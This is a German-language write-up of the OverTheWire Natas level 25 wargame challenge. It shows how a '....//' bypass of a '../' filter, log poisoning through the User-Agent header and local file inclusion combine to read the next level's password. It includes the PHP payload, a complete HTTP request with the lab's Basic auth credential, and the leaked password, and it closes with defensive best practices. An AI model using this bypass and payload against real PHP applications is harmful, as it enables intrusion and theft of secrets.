Aktualisiert am: 2022-09-08

Path Traversal

Log Poisoning

Local File Inclusion (LFI)

Enumeration

Challenge

  • Über setLanguage wird safeinclude mit $_REQUEST["lang"] aufgerufen

     function setLanguage(){
         ...
             if(safeinclude("language/" . $_REQUEST["lang"] ))
         ...
     }
    
  • safeinclude führt zwei Sicherheitsprüfungen durch, vor dem eigentlichen include

     function safeinclude($filename){
             // check for directory traversal
             if(strstr($filename,"../")){
                 logRequest("Directory traversal attempt! fixing request.");
                 $filename=str_replace("../","",$filename);
             }
             // dont let ppl steal our passwords
             if(strstr($filename,"natas_webpass")){
                 logRequest("Illegal file access detected! Aborting!");
                 exit(-1);
             }
             // add more checks...
    
             if (file_exists($filename)) {
                 include($filename);
                 return 1;
             }
             return 0;
         }
    
    • Um sich vor Path Traversal zu schützen, wird in $filename jegliches auftreten von ../ durch einen leeren String ersetzt

    • Der direkte Zugriff auf das Kennwort führt zum Abbruch (Überprüfung auf natas_webpass)

  • Mittels logRequest wird unser User-Agent in ein Logfile geschrieben

     function logRequest($message){
             $log="[". date("d.m.Y H::i:s",time()) ."]";
             $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
             $log=$log . " \"" . $message ."\"\n";
             $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
             fwrite($fd,$log);
             fclose($fd);
         }
    

Exploitation

  • Der Rückgabewert von session_id entspricht dem Wert von PHPSESSID in unserem Cookie

     -/var/www/natas/natas25/logs/natas25_" . session_id() .".log"
     +/var/www/natas/natas25/logs/natas25_kqisl7u7lav13498s3ockvkol7.log
    
  • Wir befinden uns im Home-Verzeichnis, safeinclude fügt das Unterverzeichnis language an

     /var/www/natas/natas25/
     /var/www/natas/natas25/language/
    
  • Da safeinclude im Falle einer Path Traversal zwar auf $filename einwirkt, aber nicht abbricht, können wir uns die Erkennung zunutze machen. Da $filename an include übergeben wird, ermöglicht es uns eine Local File Inclusion (LFI)

     -....//logs/natas25_kqisl7u7lav13498s3ockvkol7.log
     +../logs/natas25_kqisl7u7lav13498s3ockvkol7.log
    
  • Der nächste Schritt ist Log Poisoning. Die Voraussetzung dafür ist durch den protokollierten User-Agent erfüllt, da wir diesen frei wählen können

      <?php readfile("/etc/natas_webpass/natas26"); ?>
    
  • Die volle Wirkung von Log Poisoning entfaltet sich durch Local File Inclusion (LFI), ermöglicht durch den indirekten Aufruf von include über safeinclude in Kombination mit unzureichenden Massnahmen gegen Path Traversal

     $_REQUEST["lang"]=....//logs/natas25_kqisl7u7lav13498s3ockvkol7.log
     if(safeinclude("language/" . $_REQUEST["lang"]))
    
  • Burp Suite (als Beispiel) erlaubt uns den Payload als HTTP-Request (GET, User-Agent) zu schicken

      GET /?lang=....//logs/natas25_kqisl7u7lav13498s3ockvkol7.log HTTP/1.1
      Host: natas25.natas.labs.overthewire.org
      Cache-Control: max-age=0
      Authorization: Basic bmF0YXMyNTpHSEY2WDdZd0FDYVlZc3NIVlkwNWNGcTgzaFJrdGw0Yw==
      Upgrade-Insecure-Requests: 1
      User-Agent: <?php readfile("/etc/natas_webpass/natas26"); ?>
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
      Accept-Encoding: gzip, deflate
      Accept-Language: en-US,en;q=0.9
      Cookie: PHPSESSID=kqisl7u7lav13498s3ockvkol7
      Connection: close
    
  • Mit der HTTP-Response erhalten wir den Output des PHP-Scripts. In korrekter Reihenfolge werden aus dem Logfile erst unser User-Agent verarbeitet (sprich: readfile auf /etc/natas_webpass/natas26) und danach die Meldung vom erkannten Directory traversal attempt ausgegeben

      ...
      </div>
    
      [03.07.2022 17::05:53] oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
       "Directory traversal attempt! fixing request."
      <br />
      ...
    

Best Practices

  • Rufe include nicht mit dynamischem Pfad auf
  • Protokolliere nur, was auch tatsächlich benötigt wird
  • Vertraue keinen externen Daten (User Input)
  • Verwende include nur für das einbinden von Quellcode, nicht etwa als Ersatz für readfile

Links